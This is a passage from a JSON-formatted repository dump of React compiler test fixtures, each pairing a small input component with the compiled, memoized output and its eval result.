    "content": "\n## Input\n\n```javascript\ninterface ComponentProps {\n  name?: string;\n}\n\nfunction Component(props: ComponentProps) {\n  return props.name!.toUpperCase();\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{name: 'Alice'}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\ninterface ComponentProps {\n  name?: string;\n}\n\nfunction Component(props) {\n  const $ = _c(2);\n  let t0;\n  if ($[0] !== props.name) {\n    t0 = props.name.toUpperCase();\n    $[0] = props.name;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ name: \"Alice\" }],\n};\n\n```\n      \n### Eval output\n(kind: ok) \"ALICE\""
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/non-null-assertion.ts",
    "content": "interface ComponentProps {\n  name?: string;\n}\n\nfunction Component(props: ComponentProps) {\n  return props.name!.toUpperCase();\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{name: 'Alice'}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nonmutated-spread-hook-return.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {identity, Stringify, useIdentity} from 'shared-runtime';\n\nfunction Component(props) {\n  const {x, ...rest} = useIdentity(props);\n  const z = rest.z;\n  identity(z);\n  return <Stringify x={x} z={z} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{x: 'Hello', z: 'World'}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { identity, Stringify, useIdentity } from \"shared-runtime\";\n\nfunction Component(props) {\n  const $ = _c(6);\n  const t0 = useIdentity(props);\n  let rest;\n  let x;\n  if ($[0] !== t0) {\n    ({ x, ...rest } = t0);\n    $[0] = t0;\n    $[1] = rest;\n    $[2] = x;\n  } else {\n    rest = $[1];\n    x = $[2];\n  }\n  const z = rest.z;\n  identity(z);\n  let t1;\n  if ($[3] !== x || $[4] !== z) {\n    t1 = <Stringify x={x} z={z} />;\n    $[3] = x;\n    $[4] = z;\n    $[5] = t1;\n  } else {\n    t1 = $[5];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ x: \"Hello\", z: \"World\" }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"x\":\"Hello\",\"z\":\"World\"}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nonmutated-spread-hook-return.js",
    "content": "import {identity, Stringify, useIdentity} from 'shared-runtime';\n\nfunction Component(props) {\n  const {x, ...rest} = useIdentity(props);\n  const z = rest.z;\n  identity(z);\n  return <Stringify x={x} z={z} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{x: 'Hello', z: 'World'}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nonmutated-spread-props-jsx.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {identity, Stringify} from 'shared-runtime';\n\nfunction Component({x, ...rest}) {\n  return <Stringify {...rest} x={x} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{x: 'Hello', z: 'World'}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { identity, Stringify } from \"shared-runtime\";\n\nfunction Component(t0) {\n  const $ = _c(6);\n  let rest;\n  let x;\n  if ($[0] !== t0) {\n    ({ x, ...rest } = t0);\n    $[0] = t0;\n    $[1] = rest;\n    $[2] = x;\n  } else {\n    rest = $[1];\n    x = $[2];\n  }\n  let t1;\n  if ($[3] !== rest || $[4] !== x) {\n    t1 = <Stringify {...rest} x={x} />;\n    $[3] = rest;\n    $[4] = x;\n    $[5] = t1;\n  } else {\n    t1 = $[5];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ x: \"Hello\", z: \"World\" }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"z\":\"World\",\"x\":\"Hello\"}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nonmutated-spread-props-jsx.js",
    "content": "import {identity, Stringify} from 'shared-runtime';\n\nfunction Component({x, ...rest}) {\n  return <Stringify {...rest} x={x} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{x: 'Hello', z: 'World'}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nonmutated-spread-props-local-indirection.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {identity, Stringify} from 'shared-runtime';\n\nfunction Component({x, ...rest}) {\n  const restAlias = rest;\n  const z = restAlias.z;\n  identity(z);\n  return <Stringify x={x} z={z} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{x: 'Hello', z: 'World'}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { identity, Stringify } from \"shared-runtime\";\n\nfunction Component(t0) {\n  const $ = _c(6);\n  let rest;\n  let x;\n  if ($[0] !== t0) {\n    ({ x, ...rest } = t0);\n    $[0] = t0;\n    $[1] = rest;\n    $[2] = x;\n  } else {\n    rest = $[1];\n    x = $[2];\n  }\n  const restAlias = rest;\n  const z = restAlias.z;\n  identity(z);\n  let t1;\n  if ($[3] !== x || $[4] !== z) {\n    t1 = <Stringify x={x} z={z} />;\n    $[3] = x;\n    $[4] = z;\n    $[5] = t1;\n  } else {\n    t1 = $[5];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ x: \"Hello\", z: \"World\" }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"x\":\"Hello\",\"z\":\"World\"}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nonmutated-spread-props-local-indirection.js",
    "content": "import {identity, Stringify} from 'shared-runtime';\n\nfunction Component({x, ...rest}) {\n  const restAlias = rest;\n  const z = restAlias.z;\n  identity(z);\n  return <Stringify x={x} z={z} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{x: 'Hello', z: 'World'}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nonmutated-spread-props.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {identity, Stringify} from 'shared-runtime';\n\nfunction Component({x, ...rest}) {\n  const z = rest.z;\n  identity(z);\n  return <Stringify x={x} z={z} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{x: 'Hello', z: 'World'}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { identity, Stringify } from \"shared-runtime\";\n\nfunction Component(t0) {\n  const $ = _c(6);\n  let rest;\n  let x;\n  if ($[0] !== t0) {\n    ({ x, ...rest } = t0);\n    $[0] = t0;\n    $[1] = rest;\n    $[2] = x;\n  } else {\n    rest = $[1];\n    x = $[2];\n  }\n  const z = rest.z;\n  identity(z);\n  let t1;\n  if ($[3] !== x || $[4] !== z) {\n    t1 = <Stringify x={x} z={z} />;\n    $[3] = x;\n    $[4] = z;\n    $[5] = t1;\n  } else {\n    t1 = $[5];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ x: \"Hello\", z: \"World\" }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"x\":\"Hello\",\"z\":\"World\"}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nonmutated-spread-props.js",
    "content": "import {identity, Stringify} from 'shared-runtime';\n\nfunction Component({x, ...rest}) {\n  const z = rest.z;\n  identity(z);\n  return <Stringify x={x} z={z} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{x: 'Hello', z: 'World'}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nonmutating-capture-in-unsplittable-memo-block.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {identity, mutate} from 'shared-runtime';\n\n/**\n * Currently, InferReactiveScopeVariables do not ensure that maybe-aliased\n * values get assigned the same reactive scope. This is safe only when an\n * already-constructed value is captured, e.g.\n * ```js\n * const x = makeObj();  ⌝ mutable range of x\n * mutate(x);            ⌟\n *                       <-- after this point, we can produce a canonical version\n *                           of x for all following aliases\n * const y = [];\n * y.push(x);            <-- y captures x\n * ```\n *\n * However, if a value is captured/aliased during its mutable range and the\n * capturing container is separately memoized, it becomes difficult to guarantee\n * that all aliases refer to the same value.\n *\n */\nfunction useFoo({a, b}) {\n  const x = {a};\n  const y = {};\n  mutate(x);\n  const z = [identity(y), b];\n  mutate(y);\n\n  if (z[0] !== y) {\n    throw new Error('oh no!');\n  }\n  return z;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{a: 2, b: 3}],\n  sequentialRenders: [\n    {a: 2, b: 3},\n    {a: 4, b: 3},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { identity, mutate } from \"shared-runtime\";\n\n/**\n * Currently, InferReactiveScopeVariables do not ensure that maybe-aliased\n * values get assigned the same reactive scope. This is safe only when an\n * already-constructed value is captured, e.g.\n * ```js\n * const x = makeObj();  ⌝ mutable range of x\n * mutate(x);            ⌟\n *                       <-- after this point, we can produce a canonical version\n *                           of x for all following aliases\n * const y = [];\n * y.push(x);            <-- y captures x\n * ```\n *\n * However, if a value is captured/aliased during its mutable range and the\n * capturing container is separately memoized, it becomes difficult to guarantee\n * that all aliases refer to the same value.\n *\n */\nfunction useFoo(t0) {\n  const $ = _c(4);\n  const { a, b } = t0;\n  let y;\n  let z;\n  if ($[0] !== a || $[1] !== b) {\n    const x = { a };\n    y = {};\n    mutate(x);\n    z = [identity(y), b];\n    mutate(y);\n    $[0] = a;\n    $[1] = b;\n    $[2] = y;\n    $[3] = z;\n  } else {\n    y = $[2];\n    z = $[3];\n  }\n\n  if (z[0] !== y) {\n    throw new Error(\"oh no!\");\n  }\n\n  return z;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{ a: 2, b: 3 }],\n  sequentialRenders: [\n    { a: 2, b: 3 },\n    { a: 4, b: 3 },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) [{\"wat0\":\"joe\"},3]\n[{\"wat0\":\"joe\"},3]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nonmutating-capture-in-unsplittable-memo-block.ts",
    "content": "import {identity, mutate} from 'shared-runtime';\n\n/**\n * Currently, InferReactiveScopeVariables do not ensure that maybe-aliased\n * values get assigned the same reactive scope. This is safe only when an\n * already-constructed value is captured, e.g.\n * ```js\n * const x = makeObj();  ⌝ mutable range of x\n * mutate(x);            ⌟\n *                       <-- after this point, we can produce a canonical version\n *                           of x for all following aliases\n * const y = [];\n * y.push(x);            <-- y captures x\n * ```\n *\n * However, if a value is captured/aliased during its mutable range and the\n * capturing container is separately memoized, it becomes difficult to guarantee\n * that all aliases refer to the same value.\n *\n */\nfunction useFoo({a, b}) {\n  const x = {a};\n  const y = {};\n  mutate(x);\n  const z = [identity(y), b];\n  mutate(y);\n\n  if (z[0] !== y) {\n    throw new Error('oh no!');\n  }\n  return z;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{a: 2, b: 3}],\n  sequentialRenders: [\n    {a: 2, b: 3},\n    {a: 4, b: 3},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nonoptional-load-from-optional-memberexpr.expect.md",
    "content": "\n## Input\n\n```javascript\n// Note that `a?.b.c` is semantically different from `(a?.b).c`\n// Here, 'props?.a` is an optional chain, and `.b` is an unconditional load\n// (nullthrows if a is nullish)\n\nfunction Component(props) {\n  let x = (props?.a).b;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\n// Note that `a?.b.c` is semantically different from `(a?.b).c`\n// Here, 'props?.a` is an optional chain, and `.b` is an unconditional load\n// (nullthrows if a is nullish)\n\nfunction Component(props) {\n  const x = (props?.a).b;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nonoptional-load-from-optional-memberexpr.js",
    "content": "// Note that `a?.b.c` is semantically different from `(a?.b).c`\n// Here, 'props?.a` is an optional chain, and `.b` is an unconditional load\n// (nullthrows if a is nullish)\n\nfunction Component(props) {\n  let x = (props?.a).b;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nonreactive-noescaping-dependency-can-inline-into-consuming-scope.expect.md",
    "content": "\n## Input\n\n```javascript\n// @flow\nfunction Component() {\n  return (\n    <div\n      className={stylex(\n        // this value is a) in its own scope, b) non-reactive, and c) non-escaping\n        // its scope gets pruned bc it's non-escaping, but this doesn't mean we need to\n        // create a temporary for it\n        flags.feature('feature-name') ? styles.featureNameStyle : null\n      )}></div>\n  );\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component() {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = (\n      <div\n        className={stylex(\n          flags.feature(\"feature-name\") ? styles.featureNameStyle : null,\n        )}\n      />\n    );\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nonreactive-noescaping-dependency-can-inline-into-consuming-scope.js",
    "content": "// @flow\nfunction Component() {\n  return (\n    <div\n      className={stylex(\n        // this value is a) in its own scope, b) non-reactive, and c) non-escaping\n        // its scope gets pruned bc it's non-escaping, but this doesn't mean we need to\n        // create a temporary for it\n        flags.feature('feature-name') ? styles.featureNameStyle : null\n      )}></div>\n  );\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/numeric-literal-as-object-property-key.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Test() {\n  const obj = {\n    21: 'dimaMachina',\n  };\n  // Destructuring assignment\n  const {21: myVar} = obj;\n  return (\n    <div>\n      {obj[21]}\n      {myVar}\n    </div>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Test,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Test() {\n  const $ = _c(2);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = { 21: \"dimaMachina\" };\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const obj = t0;\n\n  const { 21: myVar } = obj;\n  let t1;\n  if ($[1] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t1 = (\n      <div>\n        {obj[21]}\n        {myVar}\n      </div>\n    );\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Test,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>dimaMachinadimaMachina</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/numeric-literal-as-object-property-key.js",
    "content": "function Test() {\n  const obj = {\n    21: 'dimaMachina',\n  };\n  // Destructuring assignment\n  const {21: myVar} = obj;\n  return (\n    <div>\n      {obj[21]}\n      {myVar}\n    </div>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Test,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/obj-literal-cached-in-if-else.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo(a, b, c, d) {\n  let x = {};\n  if (someVal) {\n    x = {b};\n  } else {\n    x = {c};\n  }\n\n  return x;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction foo(a, b, c, d) {\n  const $ = _c(4);\n  let x;\n  if (someVal) {\n    let t0;\n    if ($[0] !== b) {\n      t0 = { b };\n      $[0] = b;\n      $[1] = t0;\n    } else {\n      t0 = $[1];\n    }\n    x = t0;\n  } else {\n    let t0;\n    if ($[2] !== c) {\n      t0 = { c };\n      $[2] = c;\n      $[3] = t0;\n    } else {\n      t0 = $[3];\n    }\n    x = t0;\n  }\n\n  return x;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/obj-literal-cached-in-if-else.js",
    "content": "function foo(a, b, c, d) {\n  let x = {};\n  if (someVal) {\n    x = {b};\n  } else {\n    x = {c};\n  }\n\n  return x;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/obj-literal-mutated-after-if-else.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo(a, b, c, d) {\n  let x = {};\n  if (someVal) {\n    x = {b};\n  } else {\n    x = {c};\n  }\n\n  x.f = 1;\n  return x;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction foo(a, b, c, d) {\n  const $ = _c(3);\n  let x;\n  if ($[0] !== b || $[1] !== c) {\n    if (someVal) {\n      x = { b };\n    } else {\n      x = { c };\n    }\n\n    x.f = 1;\n    $[0] = b;\n    $[1] = c;\n    $[2] = x;\n  } else {\n    x = $[2];\n  }\n  return x;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/obj-literal-mutated-after-if-else.js",
    "content": "function foo(a, b, c, d) {\n  let x = {};\n  if (someVal) {\n    x = {b};\n  } else {\n    x = {c};\n  }\n\n  x.f = 1;\n  return x;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/obj-mutated-after-if-else-with-alias.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo(a, b, c, d) {\n  let x = someObj();\n  if (a) {\n    const y = someObj();\n    const z = y;\n    x = z;\n  } else {\n    x = someObj();\n  }\n\n  x.f = 1;\n  return x;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction foo(a, b, c, d) {\n  const $ = _c(2);\n  someObj();\n  let x;\n  if ($[0] !== a) {\n    if (a) {\n      const y = someObj();\n      const z = y;\n      x = z;\n    } else {\n      x = someObj();\n    }\n\n    x.f = 1;\n    $[0] = a;\n    $[1] = x;\n  } else {\n    x = $[1];\n  }\n  return x;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/obj-mutated-after-if-else-with-alias.js",
    "content": "function foo(a, b, c, d) {\n  let x = someObj();\n  if (a) {\n    const y = someObj();\n    const z = y;\n    x = z;\n  } else {\n    x = someObj();\n  }\n\n  x.f = 1;\n  return x;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/obj-mutated-after-if-else.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo(a, b, c, d) {\n  let x = someObj();\n  if (a) {\n    x = someObj();\n  } else {\n    x = someObj();\n  }\n\n  x.f = 1;\n  return x;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction foo(a, b, c, d) {\n  const $ = _c(2);\n  someObj();\n  let x;\n  if ($[0] !== a) {\n    if (a) {\n      x = someObj();\n    } else {\n      x = someObj();\n    }\n\n    x.f = 1;\n    $[0] = a;\n    $[1] = x;\n  } else {\n    x = $[1];\n  }\n  return x;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/obj-mutated-after-if-else.js",
    "content": "function foo(a, b, c, d) {\n  let x = someObj();\n  if (a) {\n    x = someObj();\n  } else {\n    x = someObj();\n  }\n\n  x.f = 1;\n  return x;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/obj-mutated-after-nested-if-else-with-alias.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo(a, b, c, d) {\n  let x = someObj();\n  if (a) {\n    let z;\n    if (b) {\n      const w = someObj();\n      z = w;\n    } else {\n      z = someObj();\n    }\n    const y = z;\n    x = z;\n  } else {\n    x = someObj();\n  }\n\n  x.f = 1;\n  return x;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction foo(a, b, c, d) {\n  const $ = _c(3);\n  someObj();\n  let x;\n  if ($[0] !== a || $[1] !== b) {\n    if (a) {\n      let z;\n      if (b) {\n        const w = someObj();\n        z = w;\n      } else {\n        z = someObj();\n      }\n\n      x = z;\n    } else {\n      x = someObj();\n    }\n\n    x.f = 1;\n    $[0] = a;\n    $[1] = b;\n    $[2] = x;\n  } else {\n    x = $[2];\n  }\n  return x;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/obj-mutated-after-nested-if-else-with-alias.js",
    "content": "function foo(a, b, c, d) {\n  let x = someObj();\n  if (a) {\n    let z;\n    if (b) {\n      const w = someObj();\n      z = w;\n    } else {\n      z = someObj();\n    }\n    const y = z;\n    x = z;\n  } else {\n    x = someObj();\n  }\n\n  x.f = 1;\n  return x;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-access-assignment.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component({a, b, c}) {\n  // This is an object version of array-access-assignment.js\n  // Meant to confirm that object expressions and PropertyStore/PropertyLoad with strings\n  // works equivalently to array expressions and property accesses with numeric indices\n  const x = {zero: a};\n  const y = {zero: null, one: b};\n  const z = {zero: {}, one: {}, two: {zero: c}};\n  x.zero = y.one;\n  z.zero.zero = x.zero;\n  return {zero: x, one: z};\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 1, b: 20, c: 300}],\n  sequentialRenders: [\n    {a: 2, b: 20, c: 300},\n    {a: 3, b: 20, c: 300},\n    {a: 3, b: 21, c: 300},\n    {a: 3, b: 22, c: 300},\n    {a: 3, b: 22, c: 301},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(t0) {\n  const $ = _c(6);\n  const { a, b, c } = t0;\n  let t1;\n  if ($[0] !== a || $[1] !== b || $[2] !== c) {\n    const x = { zero: a };\n    let t2;\n    if ($[4] !== b) {\n      t2 = { zero: null, one: b };\n      $[4] = b;\n      $[5] = t2;\n    } else {\n      t2 = $[5];\n    }\n    const y = t2;\n    const z = { zero: {}, one: {}, two: { zero: c } };\n    x.zero = y.one;\n    z.zero.zero = x.zero;\n    t1 = { zero: x, one: z };\n    $[0] = a;\n    $[1] = b;\n    $[2] = c;\n    $[3] = t1;\n  } else {\n    t1 = $[3];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ a: 1, b: 20, c: 300 }],\n  sequentialRenders: [\n    { a: 2, b: 20, c: 300 },\n    { a: 3, b: 20, c: 300 },\n    { a: 3, b: 21, c: 300 },\n    { a: 3, b: 22, c: 300 },\n    { a: 3, b: 22, c: 301 },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"zero\":{\"zero\":20},\"one\":{\"zero\":{\"zero\":20},\"one\":{},\"two\":{\"zero\":300}}}\n{\"zero\":{\"zero\":20},\"one\":{\"zero\":{\"zero\":20},\"one\":{},\"two\":{\"zero\":300}}}\n{\"zero\":{\"zero\":21},\"one\":{\"zero\":{\"zero\":21},\"one\":{},\"two\":{\"zero\":300}}}\n{\"zero\":{\"zero\":22},\"one\":{\"zero\":{\"zero\":22},\"one\":{},\"two\":{\"zero\":300}}}\n{\"zero\":{\"zero\":22},\"one\":{\"zero\":{\"zero\":22},\"one\":{},\"two\":{\"zero\":301}}}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-access-assignment.js",
    "content": "function Component({a, b, c}) {\n  // This is an object version of array-access-assignment.js\n  // Meant to confirm that object expressions and PropertyStore/PropertyLoad with strings\n  // works equivalently to array expressions and property accesses with numeric indices\n  const x = {zero: a};\n  const y = {zero: null, one: b};\n  const z = {zero: {}, one: {}, two: {zero: c}};\n  x.zero = y.one;\n  z.zero.zero = x.zero;\n  return {zero: x, one: z};\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 1, b: 20, c: 300}],\n  sequentialRenders: [\n    {a: 2, b: 20, c: 300},\n    {a: 3, b: 20, c: 300},\n    {a: 3, b: 21, c: 300},\n    {a: 3, b: 22, c: 300},\n    {a: 3, b: 22, c: 301},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-computed-access-assignment.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo(a, b, c) {\n  const x = {...a};\n  x[b] = c[b];\n  x[1 + 2] = c[b * 4];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nfunction foo(a, b, c) {\n  const x = { ...a };\n  x[b] = c[b];\n  x[3] = c[b * 4];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-computed-access-assignment.js",
    "content": "function foo(a, b, c) {\n  const x = {...a};\n  x[b] = c[b];\n  x[1 + 2] = c[b * 4];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-entries-mutation.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {makeObject_Primitives, Stringify} from 'shared-runtime';\n\nfunction Component(props) {\n  const object = {object: props.object};\n  const entries = Object.entries(object);\n  entries.map(([, value]) => {\n    value.updated = true;\n  });\n  return <Stringify entries={entries} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{object: {key: makeObject_Primitives()}}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { makeObject_Primitives, Stringify } from \"shared-runtime\";\n\nfunction Component(props) {\n  const $ = _c(2);\n  let t0;\n  if ($[0] !== props.object) {\n    const object = { object: props.object };\n    const entries = Object.entries(object);\n    entries.map(_temp);\n    t0 = <Stringify entries={entries} />;\n    $[0] = props.object;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\nfunction _temp(t0) {\n  const [, value] = t0;\n  value.updated = true;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ object: { key: makeObject_Primitives() } }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"entries\":[[\"object\",{\"key\":{\"a\":0,\"b\":\"value1\",\"c\":true},\"updated\":true}]]}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-entries-mutation.js",
    "content": "import {makeObject_Primitives, Stringify} from 'shared-runtime';\n\nfunction Component(props) {\n  const object = {object: props.object};\n  const entries = Object.entries(object);\n  entries.map(([, value]) => {\n    value.updated = true;\n  });\n  return <Stringify entries={entries} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{object: {key: makeObject_Primitives()}}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-captures-function-with-global-mutation.expect.md",
